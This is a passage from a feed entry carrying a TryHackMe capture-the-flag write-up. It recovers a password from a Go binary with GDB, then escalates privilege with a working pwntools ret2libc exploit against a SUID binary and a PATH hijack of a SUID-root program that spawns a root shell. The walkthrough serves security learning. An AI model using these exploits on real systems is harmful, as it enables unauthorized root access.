&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="mh"&gt;0x2585f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nv"&gt;rip&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;   &lt;span class="err"&gt;#&lt;/span&gt; &lt;span class="mh"&gt;0x4cad0b&lt;/span&gt;  &lt;span class="o"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="nv"&gt;reference&lt;/span&gt; &lt;span class="nv"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;address&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;runtime.memequal&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Go string comparisons compile to a length check (&lt;code&gt;0xb&lt;/code&gt; = 11 bytes) plus &lt;code&gt;runtime.memequal&lt;/code&gt; against a &lt;code&gt;.rodata&lt;/code&gt; pointer.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb &lt;span class="nt"&gt;-batch&lt;/span&gt; &lt;span class="nt"&gt;-ex&lt;/span&gt; &lt;span class="s1"&gt;'x/s 0x4cad0b'&lt;/span&gt; ./angel_B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;x&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="err"&gt;cad&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GOg0esGrrr!Ideographic..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The confirmed 11-byte length gave the exact cutoff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;GOg0esGrrr!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./angel_B
Say the magic word &amp;gt;&amp;gt; GOg0esGrrr!
Right password! Now GO ahead and SSH into heaven.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Initial Access - SSH as guardian
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh guardian@10.49.188.50
&lt;span class="c"&gt;# password: GOg0esGrrr!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;guardian@heaven:~$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1001(guardian) gid=1001(guardian) groups=1001(guardian)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag 1
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;guardian_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_GUARDIAN_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation - guardian to binexgod
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-sr-x 1 binexgod binexgod 15772 May  8  2021 pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Setuid/setgid binary owned by &lt;code&gt;binexgod&lt;/code&gt;. &lt;code&gt;.python_history&lt;/code&gt; hinted at prior buffer-length fuzzing (&lt;code&gt;'A'*32&lt;/code&gt;, &lt;code&gt;'A'*55&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pwn_me: setuid, setgid ELF 32-bit LSB shared object, dynamically linked, interpreter /lib/ld-linux.so.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;checksec &lt;span class="nt"&gt;--file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pwn_me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No canary + NX enabled -&amp;gt; classic &lt;strong&gt;ret2libc&lt;/strong&gt; target.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the Overflow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./pwn_me
Binexgod said he want to make this easy.
System is at: 0xf7df4950
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary leaks a live &lt;code&gt;system()&lt;/code&gt; address on every run - no need for a separate leak primitive.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./pwn_me
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; info functions
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; disassemble vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="nf"&gt;...&lt;/span&gt;
&lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;fgets&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;read&lt;/span&gt; &lt;span class="nv"&gt;equivalent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;vuln()&lt;/code&gt; reads into a small fixed buffer with no length check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gdb ./pwn_me
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt; run &amp;lt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; sys.stdout.buffer.write(b'A'*32 + b'BBBB')"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip            0x42424242       0x42424242
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Offset to return address: 32 bytes&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the ret2libc Chain
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ldd pwn_me
&lt;span class="c"&gt;# libc.so.6 =&amp;gt; /lib32/libc.so.6&lt;/span&gt;

readelf &lt;span class="nt"&gt;-s&lt;/span&gt; /lib32/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;" system"&lt;/span&gt;
&lt;span class="c"&gt;# 1457: 0003a950  55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/span&gt;

strings &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; x /lib32/libc.so.6 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"/bin/sh"&lt;/span&gt;
&lt;span class="c"&gt;# 15910b /bin/sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x3a950&lt;/span&gt;
&lt;span class="n"&gt;binsh_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x15910b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;./pwn_me&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvuntil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;System is at: &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Leaked system(): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;leak&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;libc_base&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mh"&gt;0x3a950&lt;/span&gt;
&lt;span class="n"&gt;system_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;leak&lt;/span&gt;
&lt;span class="n"&gt;binsh_addr&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x15910b&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;system_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x41414141&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binsh_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;pwn_me&lt;/code&gt; is SUID/SGID &lt;code&gt;binexgod&lt;/code&gt;, the spawned &lt;code&gt;/bin/sh&lt;/code&gt; inherits those bits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;whoami
binexgod
id
uid=1002(binexgod) gid=1001(guardian) groups=1001(guardian)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Flag 2
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;binexgod_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_BINEXGOD_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Privilege Escalation - binexgod to root
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-xr-x 1 root binexgod 8824 Mar 15  2021 vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;SUID root, group &lt;code&gt;binexgod&lt;/code&gt;. Source was readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;envp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;gid_t&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;uid_t&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;gid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getegid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;geteuid&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="n"&gt;setresgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;setresuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/usr/bin/env echo Get out of heaven lol"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Get out of heaven lol
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;The binary drops privileges via &lt;code&gt;setresuid&lt;/code&gt;/&lt;code&gt;setresgid&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; calling &lt;code&gt;system()&lt;/code&gt; - but since it's SUID root, &lt;code&gt;geteuid()&lt;/code&gt;/&lt;code&gt;getegid()&lt;/code&gt; already return &lt;code&gt;0&lt;/code&gt;, so those calls re-affirm root instead of dropping it. &lt;code&gt;system()&lt;/code&gt; is still called with &lt;code&gt;/usr/bin/env echo ...&lt;/code&gt;: an absolute path to &lt;code&gt;env&lt;/code&gt;, but &lt;code&gt;env&lt;/code&gt; resolves &lt;code&gt;echo&lt;/code&gt; via &lt;code&gt;$PATH&lt;/code&gt; search, not a hardcoded location.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;which &lt;span class="nb"&gt;env&lt;/span&gt;
&lt;span class="c"&gt;# /usr/bin/env&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;span class="c"&gt;# /home/guardian/bin:...:/usr/bin:/sbin:/bin:...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exploitation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/evil

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash
/bin/bash -p'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/evil/echo

&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/evil/echo

&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp/evil:&lt;span class="nv"&gt;$PATH&lt;/span&gt;

./vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;env&lt;/code&gt;'s &lt;code&gt;echo&lt;/code&gt; lookup resolves to the attacker-controlled script, spawning a root shell (&lt;code&gt;bash -p&lt;/code&gt; preserves the elevated UID/GID):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@heaven:/home/binexgod# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Root Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /root
&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED_ROOT_FLAG}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Complete Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;angel_A (Ghidra static analysis, bypass ptrace anti-debug)
  -&amp;gt; decompile obfuscated byte-transform check
  -&amp;gt; invert (input^4)+8 transform on hardcoded username array
  -&amp;gt; guardian

angel_B (GDB, info functions -&amp;gt; main.main disassembly)
  -&amp;gt; length check (0xb) + runtime.memequal against .rodata pointer
  -&amp;gt; dump reference string at leaked address
  -&amp;gt; GOg0esGrrr!

SSH as guardian (guardian:GOg0esGrrr!)
  -&amp;gt; FLAG 1 (guardian_flag.txt)

Enumeration -&amp;gt; pwn_me (SUID/SGID binexgod, no canary, NX enabled, leaks system() address)
  -&amp;gt; gdb: vuln() unbounded read, offset to EIP = 32 bytes
  -&amp;gt; readelf/strings on /lib32/libc.so.6 -&amp;gt; system() offset + /bin/sh offset
  -&amp;gt; ret2libc payload: padding + system() + junk_ret + /bin/sh
  -&amp;gt; shell as binexgod
  -&amp;gt; FLAG 2 (binexgod_flag.txt)

Enumeration -&amp;gt; vuln (SUID root, binexgod group)
  -&amp;gt; source shows setresuid/setresgid "hardening" that re-affirms root (already root via SUID)
  -&amp;gt; system("/usr/bin/env echo ...") resolves "echo" via $PATH, not hardcoded
  -&amp;gt; PATH hijack: /tmp/evil/echo -&amp;gt; /bin/bash -p
  -&amp;gt; export PATH=/tmp/evil:$PATH; ./vuln
  -&amp;gt; root shell
  -&amp;gt; ROOT FLAG (root.txt)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Takeaways / Exploit Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Anti-debug checks&lt;/strong&gt; (ptrace self-detection) can often be bypassed entirely by static analysis instead of live debugging - no need to patch or defeat the check if you never attach a debugger.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Go binaries&lt;/strong&gt; are statically linked and symbol-heavy; &lt;code&gt;info functions&lt;/code&gt; / &lt;code&gt;disassemble main.main&lt;/code&gt; in GDB is far more useful than &lt;code&gt;strings&lt;/code&gt; alone for locating comparison logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No stack canary + NX + leaked libc address&lt;/strong&gt; = ideal, low-friction ret2libc scenario; no need to brute-force or leak libc via a separate format string bug since the binary handed us the address directly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID binaries calling &lt;code&gt;system()&lt;/code&gt;/unqualified binary names&lt;/strong&gt; are a PATH hijacking goldmine - always check &lt;code&gt;strings &amp;lt;suid_binary&amp;gt;&lt;/code&gt; for shell-outs and enumerate &lt;code&gt;$PATH&lt;/code&gt; write permissions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege-dropping calls that run after the process already holds the target privilege don't drop anything&lt;/strong&gt; - &lt;code&gt;setresuid(geteuid(), ...)&lt;/code&gt; on a SUID-root binary just reasserts root.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: Adventure Time Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 22 Sep 2026 12:20:08 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-adventure-time-writeup-3e9e</link>
      <guid>https://dev.to/exploitnotes/tryhackme-adventure-time-writeup-3e9e</guid>
      <description>&lt;h1&gt;
  
  
  Summary
&lt;/h1&gt;

